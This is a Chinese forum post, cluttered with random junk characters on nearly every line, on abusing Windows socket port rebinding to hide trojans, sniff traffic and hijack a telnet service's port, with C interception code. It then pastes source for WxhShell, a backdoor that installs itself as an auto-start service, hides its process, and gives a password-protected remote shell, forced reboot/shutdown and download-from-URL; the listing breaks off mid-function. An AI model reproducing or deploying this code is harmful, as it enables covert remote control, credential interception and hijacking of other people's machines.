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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `m<O!I"A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `kQosQV  
,z/aT6M?H  
  saddr.sin_family = AF_INET; E/%"%&`8j  
w@cW`PlF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v]F4o1ckk  
t4v'X}7q]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q#SQ@oUzD  
$>O~7Nfst7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !R\FCAW[x  
lbIPtu  
  这意味着什么?意味着可以进行如下的攻击: XJ3sqcS  
.|R4E  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N\|z{vn  
] T]{VB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^&1O:G*"  
|H_WY#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n^ fUKi*;  
N=2T~M 1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C,l,fT  
Qm[s"pM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hd9HM5{p  
OmBz'sp:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -NN=(p!<  
a0sz$u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 I]e+5 E0  
;]=w6'dP!  
  #include ,7)hrA$(  
  #include Yn= "vpM1  
  #include j`RG Moq  
  #include    Z8xB a0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0,ryy,2  
  int main() =ejU(1 g  
  { T Q4L~8  
  WORD wVersionRequested; Ri"hU/H{  
  DWORD ret; lN g){3  
  WSADATA wsaData; LiT%d  
  BOOL val; A2M( ad  
  SOCKADDR_IN saddr; d8jH?P-"  
  SOCKADDR_IN scaddr; -9= DDoO  
  int err; ySO\9#Ho  
  SOCKET s; 9c)#j&2?H  
  SOCKET sc; ;Hk3y+&]a  
  int caddsize; Z@+nkTJ9&t  
  HANDLE mt; /v5A)A$7  
  DWORD tid;   8ex;g^e  
  wVersionRequested = MAKEWORD( 2, 2 ); 2Wluc37  
  err = WSAStartup( wVersionRequested, &wsaData ); Vl5>o$G|<.  
  if ( err != 0 ) { o$.#A]Flb  
  printf("error!WSAStartup failed!\n"); >{Hg+/  
  return -1; ")uKDq  
  } 9!Mh (KtQ  
  saddr.sin_family = AF_INET; $]E+E.P  
   g[pU5%|"[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~KS@Ulrox  
Zhfg  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); pK3A/ry<  
  saddr.sin_port = htons(23); @y;VV*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wX]$xZ!s  
  { [d[w/@  
  printf("error!socket failed!\n"); g-d{"ZXd J  
  return -1; 63u%=-T%a  
  } aH_c84DS  
  val = TRUE; lY tt|J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G'/G DN^j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +M I{B="7.  
  { '|ntwK*f  
  printf("error!setsockopt failed!\n"); nahq O|~  
  return -1; lgU!D |v  
  } BVb^xL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ) >FAtE   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "PI;/(kR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o( zez  
{\1bWr8!U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) = exCpW>  
  { e*}zl>f  
  ret=GetLastError(); uKk#V6t#  
  printf("error!bind failed!\n"); 'D5J5+.z  
  return -1; F:ycV~bE  
  } ?(=|!`IoO  
  listen(s,2); :gwmk9LZ  
  while(1) KZ7B2  
  { ?tjEXg>ny  
  caddsize = sizeof(scaddr); M+ %O-B  
  //接受连接请求 x7zc3%T's  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]z^jz#>um&  
  if(sc!=INVALID_SOCKET) cl^UFl f[  
  { 1 gjaTPwY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %@a;q?/?Nd  
  if(mt==NULL) %MHL@Nn>e  
  { BNdq=|,+"  
  printf("Thread Creat Failed!\n"); jJiuq#;T3  
  break; / =6_2t#vA  
  } qco'neR"z  
  } % E1r{`p  
  CloseHandle(mt); Ly2,*\7  
  } ]w6 F%d  
  closesocket(s); 3?FY?Q[  
  WSACleanup(); 'W_NRt:  
  return 0; nb/q!8  
  }   %;QK5L   
  DWORD WINAPI ClientThread(LPVOID lpParam) Hl8-q!  
  { hTLf$_|P  
  SOCKET ss = (SOCKET)lpParam; yg}O9!MJ  
  SOCKET sc; z]8Mv(eL  
  unsigned char buf[4096]; s|<n7 =J  
  SOCKADDR_IN saddr; ZNw|5u^N  
  long num; )m7%cyfC  
  DWORD val; D|ze0A@  
  DWORD ret; o!UB x<4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ! I?C8)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j13- ?fQ&  
  saddr.sin_family = AF_INET; .Bl:hk\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Gxe)5,G  
  saddr.sin_port = htons(23); i`F5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !u]@Ru34  
  { ]j7`3%4uK  
  printf("error!socket failed!\n"); qLL rR,:  
  return -1; GqCBD-@4v.  
  } tjtvO@?1-  
  val = 100; d {U%q d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZXQ5fBx  
  { ENhLonM eV  
  ret = GetLastError(); ; j.d  
  return -1; n}Z%D-b$  
  } [ft6xI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n^[a}DX0  
  { V"4L=[le  
  ret = GetLastError(); ^x O](,H  
  return -1; Y[7prjd  
  } _@B?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yy{YduI  
  { UiV#w#&P  
  printf("error!socket connect failed!\n"); KU$,{Sn6@  
  closesocket(sc); J8Wits]A]$  
  closesocket(ss); QY)p![6Fj  
  return -1; Nxe1^F33  
  } 3#,6(k4>  
  while(1) dM^EYW  
  { x*z&#[(0g!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Jt]RU+TB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 QYo04`Rl  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t jThQ  
  num = recv(ss,buf,4096,0); V6dq8Z"h  
  if(num>0) Fj<*!J$,  
  send(sc,buf,num,0); l3b=8yn.  
  else if(num==0) <MG&3L.[  
  break; kNWTM%u9  
  num = recv(sc,buf,4096,0); -hnNa A  
  if(num>0) G)s.~ T  
  send(ss,buf,num,0);  ri4z^1\  
  else if(num==0) f{VV U/$  
  break; |Yw k  
  } A!!!7tj  
  closesocket(ss); xT&~{,9  
  closesocket(sc); ?QffSSj[s  
  return 0 ; b(N\R_IQ~  
  } E}9wzPs  
mF@7;dpr  
~vDa2D<9%  
========================================================== {c)\}s(}F  
z# &1>  
下边附上一个代码,,WXhSHELL 9cB+ x`+Lu  
*ilh/Hd>  
========================================================== )I*(yUj  
Ld.9.d]  
#include "stdafx.h" nQV0I"f]?]  
$>#0RzU  
#include <stdio.h> u4FD}nV  
#include <string.h> wyX3qH  
#include <windows.h> .:&`PaMt  
#include <winsock2.h> mTu>S  
#include <winsvc.h> 9+9g(6  
#include <urlmon.h> \9`E17i  
7Q|<6210  
#pragma comment (lib, "Ws2_32.lib") :8O T  
#pragma comment (lib, "urlmon.lib") 15J"iN2"W  
Y910\h@V  
#define MAX_USER   100 // 最大客户端连接数 ]CLM'$  
#define BUF_SOCK   200 // sock buffer DQK?y=vf  
#define KEY_BUFF   255 // 输入 buffer ?0:]% t18  
tx d0S!  
#define REBOOT     0   // 重启 Z#@  
#define SHUTDOWN   1   // 关机 `oNJ=,p  
2LN6pu  
#define DEF_PORT   5000 // 监听端口 4Lg ,J9  
sDNWB_~  
#define REG_LEN     16   // 注册表键长度 9 l~D}5e7  
#define SVC_LEN     80   // NT服务名长度 r}qDvC D  
1A'eH:$  
// 从dll定义API RgV3,z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bj@sci(1?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^X{U7?x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =$4I}2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f@YdL6&d-  
}I uqB*g[t  
// wxhshell配置信息 }&/>v' G  
struct WSCFG { s1wlOy  
  int ws_port;         // 监听端口 d@ 8M_ O |  
  char ws_passstr[REG_LEN]; // 口令 tgG 8pL  
  int ws_autoins;       // 安装标记, 1=yes 0=no )e5=<'f 1  
  char ws_regname[REG_LEN]; // 注册表键名 nG4ZOx.*1g  
  char ws_svcname[REG_LEN]; // 服务名 o}QP+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |*JMPg?zI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "9'3mmZm=?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  ^cw9Yjh6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v|~=rvXFC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T1$p%yQH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Nzgi)xX0HX  
rzHBop-8  
}; rK'Lvt@w  
b||usv[or  
// default Wxhshell configuration o@gceZuk  
struct WSCFG wscfg={DEF_PORT, #pPOQv:~  
    "xuhuanlingzhe", (bv{1 7K  
    1, :@jctH~  
    "Wxhshell", vC>2%Zgf-  
    "Wxhshell", W7 A!QS  
            "WxhShell Service", O^CBa$  
    "Wrsky Windows CmdShell Service", uQc("F  
    "Please Input Your Password: ", b?OA|JqX  
  1, (${:5W  
  "http://www.wrsky.com/wxhshell.exe", ,Tar?&C:  
  "Wxhshell.exe" \&+Y;:6  
    }; ]@Y!,bw&  
IrZ\;!NK  
// 消息定义模块 <QvVPE}z   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RuYIG?J=/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 67&IaDts  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uMva5o  
char *msg_ws_ext="\n\rExit."; ] / Nt  
char *msg_ws_end="\n\rQuit."; v@Eb[7Kq/1  
char *msg_ws_boot="\n\rReboot..."; 6M&ajl`o  
char *msg_ws_poff="\n\rShutdown..."; aHu0z:  
char *msg_ws_down="\n\rSave to "; %XN;S29d5W  
v`QDms,{  
char *msg_ws_err="\n\rErr!"; ?XdvZf $  
char *msg_ws_ok="\n\rOK!"; Qq.$! $  
#tA9`!  
char ExeFile[MAX_PATH]; b-8@_@f|g  
int nUser = 0; {+#{Cha  
HANDLE handles[MAX_USER]; a]fFR~ OY  
int OsIsNt; ZKrK >X  
?xUl_  
SERVICE_STATUS       serviceStatus; )t+pwh!8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kOo  Vqu  
T8\@CV!  
// 函数声明 8hS^8  
int Install(void); KRlJKd{  
int Uninstall(void); X7OU=+g  
int DownloadFile(char *sURL, SOCKET wsh); y _apT<P  
int Boot(int flag); _Jg#T~  
void HideProc(void); kwUUvF7w  
int GetOsVer(void); 1@{ov!YB]  
int Wxhshell(SOCKET wsl); d+)LK~  
void TalkWithClient(void *cs); ~Yc~_)hD  
int CmdShell(SOCKET sock); M887 Q'HSi  
int StartFromService(void); \y?*} L  
int StartWxhshell(LPSTR lpCmdLine); 'Up75eT  
IY6Ll6OK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X%s5D&gr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wN'S+4  
@1'OuX^  
// 数据结构和表定义 Z?xaXFm_  
SERVICE_TABLE_ENTRY DispatchTable[] = &TRKd)wd  
{ aWimg6q  
{wscfg.ws_svcname, NTServiceMain}, 5P<1I7d  
{NULL, NULL} 0vLx={i  
}; V<|N}8{Z2a  
ZiY2N*,VO  
// 自我安装 $:5h5Y#z  
int Install(void) zUJXA:L9  
{ w uY-f4  
  char svExeFile[MAX_PATH]; <-N eusx%  
  HKEY key; xib}E[-l#  
  strcpy(svExeFile,ExeFile); p' ^}J$  
t)8c rX}P  
// 如果是win9x系统,修改注册表设为自启动 En7+fQ  
if(!OsIsNt) { 0^Ldw)C"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ESoqmCJjb:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "JmbYb#Z  
  RegCloseKey(key); yxx_%9X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s1]Pv/a=y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }N -UlL(  
  RegCloseKey(key); XelFGTE  
  return 0; W (TTsnnx  
    } jA?[*HB  
  } f 5bX,e)!  
} QE"$Lc)  
else { z5({A2q  
vh"';L_*37  
// 如果是NT以上系统,安装为系统服务 gYbvCs8O!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _5n2'\] H`  
if (schSCManager!=0) YhglL!p C  
{ b?0WA.[{  
  SC_HANDLE schService = CreateService } %0 w25  
  ( *{5}m(5F  
  schSCManager, $#e}9g.  
  wscfg.ws_svcname, \4$Nx/@Q}  
  wscfg.ws_svcdisp, ?~.9: 93  
  SERVICE_ALL_ACCESS, l]DRJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oIOeX1$V  
  SERVICE_AUTO_START, o|n;{zT"  
  SERVICE_ERROR_NORMAL, J%ws-A?6rN  
  svExeFile, h\#4[/  
  NULL, C`Vuw|Xl  
  NULL, ~hk!N!J\  
  NULL, IA1O]i S  
  NULL, W!8$:Ih_Z  
  NULL rA<J^dX=C  
  ); :FSg%IUX  
  if (schService!=0) ZHA&gdK@  
  { 3<FqK\P  
  CloseServiceHandle(schService); <F_w4!  
  CloseServiceHandle(schSCManager); r{yIF~k@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "o;%em*Bc  
  strcat(svExeFile,wscfg.ws_svcname); J.2BBy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Yy[=E\z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oIE(`l0l  
  RegCloseKey(key); M[b~5L+S  
  return 0; 1:cq\Y  
    } A+Je?3/.  
  } X+emJ&Z$@  
  CloseServiceHandle(schSCManager); ,9=P=JH  
} =fBr2%qK  
} G@ybx[_[@  
+A,cdi9z  
return 1; z&GGa`T"  
} %E, -dw  
BI#(L={5  
// 自我卸载 ?b^<Tny  
int Uninstall(void) 0~<t :q!  
{ Vas Q/  
  HKEY key; ]]V=\.y  
q{,yas7}  
if(!OsIsNt) { :1iXBG\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <9=RLENmY"  
  RegDeleteValue(key,wscfg.ws_regname); . VI #  
  RegCloseKey(key); W#b++}S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mMhe,8E&  
  RegDeleteValue(key,wscfg.ws_regname); OB,T>o@  
  RegCloseKey(key); AsZyPybq  
  return 0; /$vX1T  
  } QBoX3w=  
} &@7|_60  
} K1<l/ s  
else { OZ Obx  
< R@&<E6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2(D&jL  
if (schSCManager!=0) U_B`SS  
{ A^c5CJ_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =g@hh)3wP  
  if (schService!=0) @iz S_I,  
  { ";0-9*I  
  if(DeleteService(schService)!=0) { H<b4B$/  
  CloseServiceHandle(schService); 4f0dc\$  
  CloseServiceHandle(schSCManager); GEb)nHQq  
  return 0; |("5 :m  
  } hW c M.  
  CloseServiceHandle(schService); XnvaT(k7Y  
  } 8{Svax(  
  CloseServiceHandle(schSCManager); gY=+G6;=<  
} HZ2zL17  
} Q([g1?F9*  
qn\>(&  
return 1; GWShv\c}  
} Q;1$gImFz  
}Ty_ } 6a5  
// 从指定url下载文件 9>@"W-  
int DownloadFile(char *sURL, SOCKET wsh) 1G8t=IA%D  
{ b;|^62  
  HRESULT hr; eP3 itrH(  
char seps[]= "/"; ~Uz|sQ*G  
char *token; :TWHmxch  
char *file; }S&SL)  
char myURL[MAX_PATH]; `+@%l*TQ  
char myFILE[MAX_PATH]; [c6_6q As  
Fn%:0j  
strcpy(myURL,sURL); F{<r IR  
  token=strtok(myURL,seps); Ix5yQgnB}j  
  while(token!=NULL) 8%U)EU  
  { `wG&Cy]v  
    file=token; %n c+VL4  
  token=strtok(NULL,seps); c Ky%0oTla  
  } |b7>kM}"  
{k~$\J?.  
GetCurrentDirectory(MAX_PATH,myFILE); ae1fCw3k  
strcat(myFILE, "\\"); ]R]X#jm  
strcat(myFILE, file); ')FNudsC  
  send(wsh,myFILE,strlen(myFILE),0); IWpUbD|kC  
send(wsh,"...",3,0); -XY]WWlq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ||,;07  
  if(hr==S_OK) &c@I4RV|q  
return 0; ZNA?`Z)f  
else ?,),%JQ  
return 1; RMrt4:-DI  
gA) F  
} uTJ?@ ^nq  
\S2'3SD d/  
// 系统电源模块 Wj*6}N/  
int Boot(int flag) wy&*6>.  
{ T@ HozZ  
  HANDLE hToken; #QDV_ziE5  
  TOKEN_PRIVILEGES tkp; XJ NKM~  
CC87<>V  
  if(OsIsNt) { nocH~bAf2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !kKKJ~,;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \1B*iW  
    tkp.PrivilegeCount = 1; y! 1NS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P?uKDON  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V+K.' J ^@  
if(flag==REBOOT) { ,[hJi3xM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +yea}uUE  
  return 0; Rx<pV_|H,  
} XKK*RVs#  
else { <(t<gS#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JT-Zo OZ  
  return 0; Cw2+@7?|  
} ,^,J[F  
  } aY+>85?g  
  else { LtvyWc`  
if(flag==REBOOT) { ) D`_V.,W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3a S>U #  
  return 0; -T(V6&'Qi  
} UX9o  
else { nb!m>0*/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CUd'*Ewu  
  return 0; QtzHr  
} bcE DjLXq  
} ~5#7i_%@E}  
gddGl=rm  
return 1; Y{'G2)e  
} Stw6%T-  
y|mR'{$I  
// win9x进程隐藏模块 gy[uq m_ T  
void HideProc(void) \ a<Ye T  
{ 1wM p3  
1|89-Ii]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zc(7p;w#p  
  if ( hKernel != NULL ) xMh&C{q  
  { cS[`1y,\3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0nuFWV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pVY.&XBZ$  
    FreeLibrary(hKernel); 5VcYdu3  
  } ']NM_0  
ouI0"R&@  
return; M;bQid@BG  
} S{H8}m|MW  
m ;vNA  
// 获取操作系统版本 5f5`7uVJF  
int GetOsVer(void) s_8! x  
{ uQNoIy J)  
  OSVERSIONINFO winfo; 1WKDG~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  h 2zCX  
  GetVersionEx(&winfo); sOW|TN>y\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J.d `tiN  
  return 1; w?C\YKF7  
  else PrcM'Q  
  return 0; $p@g#3X`  
} {Q"<q`c  
tpD?-`9o  
// 客户端句柄模块 4c yv 8  
int Wxhshell(SOCKET wsl) *%e#)sn*  
{ -d~'tti  
  SOCKET wsh; 5*r6#[S\  
  struct sockaddr_in client; koU.`l.  
  DWORD myID; td~3N,S  
#]'xUgcE9  
  while(nUser<MAX_USER) g/J!U8W"  
{ 5W48z%MN  
  int nSize=sizeof(client); }ie]7N6;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9.B7Owgr89  
  if(wsh==INVALID_SOCKET) return 1; #Grm-W9E  
 ]gW J,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S7vE[VF5  
if(handles[nUser]==0) one>vi`=  
  closesocket(wsh); GwULtRa/  
else yiq#p "Hs  
  nUser++; :KLD~k7yA(  
  } #rwR)9iC0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SJ-Sac58r  
]lY9[~ v  
  return 0; loJ0PY'}=  
} `dZ|}4[1  
%r"GL  
// 关闭 socket 9vu8koL  
void CloseIt(SOCKET wsh) '3Ie0QO]"%  
{ -Me\nu8(RF  
closesocket(wsh); A.b#r[  
nUser--; ^xwFjQXx  
ExitThread(0); oX~CTunP  
} wW4S@m  
&?nF' ;&  
// 客户端请求句柄 1^3#3duV  
void TalkWithClient(void *cs) S8VR#  
{ A@OV!DJe]  
1c!},O  
  SOCKET wsh=(SOCKET)cs; ~}*;Ko\  
  char pwd[SVC_LEN]; xTMTkVa+B  
  char cmd[KEY_BUFF]; [)A#9L~s=  
char chr[1]; fLAF/#\2  
int i,j; U:9vjY  
P>-,6a>  
  while (nUser < MAX_USER) { ? h%+2  
=.a ]?&Yyh  
if(wscfg.ws_passstr) { M6sDtL9l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 08a|]li  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [Bo$?  
  //ZeroMemory(pwd,KEY_BUFF); KF)i66  
      i=0; 3D0I5LF&  
  while(i<SVC_LEN) { val<N293L>  
(T01hR&  
  // 设置超时 j+hoj2(  
  fd_set FdRead; b*KZe[#M1  
  struct timeval TimeOut;  $wTX  
  FD_ZERO(&FdRead); b3lpNJ J  
  FD_SET(wsh,&FdRead); KoJG! Rm  
  TimeOut.tv_sec=8; G m! ]   
  TimeOut.tv_usec=0; Tt|6N*b'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); * U4:K@y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sBnPS[Oo  
*lAdS]I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <*(R+to^d  
  pwd=chr[0]; @ `D6F;R  
  if(chr[0]==0xd || chr[0]==0xa) { s_!Z+D$K  
  pwd=0; ~x:] ch|  
  break; . $YF|v[=  
  } vM/v}6;_K2  
  i++; 5nAF=Bj  
    } [ )~@NN  
)g _zPt  
  // 如果是非法用户,关闭 socket ^E17_9?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a7G2C oM8  
} di2=P)3  
/g''-yT7#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ASw |sw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ':]a.yA\1  
V bOLTc  
while(1) { RfG$Px '  
+hgCk87%#  
  ZeroMemory(cmd,KEY_BUFF); <v k$eB8EC  
]H~,K]@.  
      // 自动支持客户端 telnet标准    u$8MVP  
  j=0; Cl!jK^AbG  
  while(j<KEY_BUFF) { {1|7N GQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,&] ` b#Rc  
  cmd[j]=chr[0]; V JL;+  
  if(chr[0]==0xa || chr[0]==0xd) { W2h[NimU  
  cmd[j]=0; l$_rA~Mo  
  break; z&,sm5Lb  
  } Po. BcytM  
  j++; \r,. hUp  
    } $:II @=  
#9VY[<  
  // 下载文件 #/<Y!qV&  
  if(strstr(cmd,"http://")) { 4 GW[GT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); , vyx`wDd  
  if(DownloadFile(cmd,wsh)) %W;Gf9.w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4ZpF1Zc4B  
  else agT[y/gb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PM!t"[@&  
  } !13 /+ u  
  else { u#k ,G`  
AiK4t-  
    switch(cmd[0]) { BrMp_M  
  | V,jd  
  // 帮助 B-'BJ|*4I  
  case '?': { 8k?L{hF|nW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }AZx/[k |z  
    break; .BDRD~kB  
  } T JS1,3<  
  // 安装 kTc5KHJ7  
  case 'i': { +\vY;!^  
    if(Install()) BV?N_/DXp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e7qMt[.  
    else M;V#Gm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]Wt6V^M'@  
    break; )wv[!cYyW  
    } .t[ZXrd| 0  
  // 卸载 .+L_!A  
  case 'r': { l!V| T?  
    if(Uninstall()) 0lr4d Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aw%vu  
    else )"jn{%/t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]{+M>i[  
    break; [k 7N+W8  
    } fUKdC \WL  
  // 显示 wxhshell 所在路径 udI: ]:,P  
  case 'p': { |O+>#  
    char svExeFile[MAX_PATH]; qS}RFM5|  
    strcpy(svExeFile,"\n\r"); A<X :K nl  
      strcat(svExeFile,ExeFile); j{Jc6U  
        send(wsh,svExeFile,strlen(svExeFile),0); ZfCr"aL  
    break; gdFoTcHgO|  
    } wDMB  
  // 重启 4m[C-NB!g  
  case 'b': { cW\Y?x   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hs -.83V  
    if(Boot(REBOOT)) _QUu'zJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \If!5N  
    else { u+'@>%7  
    closesocket(wsh); -L3 |9k  
    ExitThread(0); bW.zxQ :  
    } * r4/|.l  
    break; ^'53]b:  
    } P9mxY*K)%5  
  // 关机 "q>I?UcZ  
  case 'd': { gXLZ)>+A+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \{=`F`oB=  
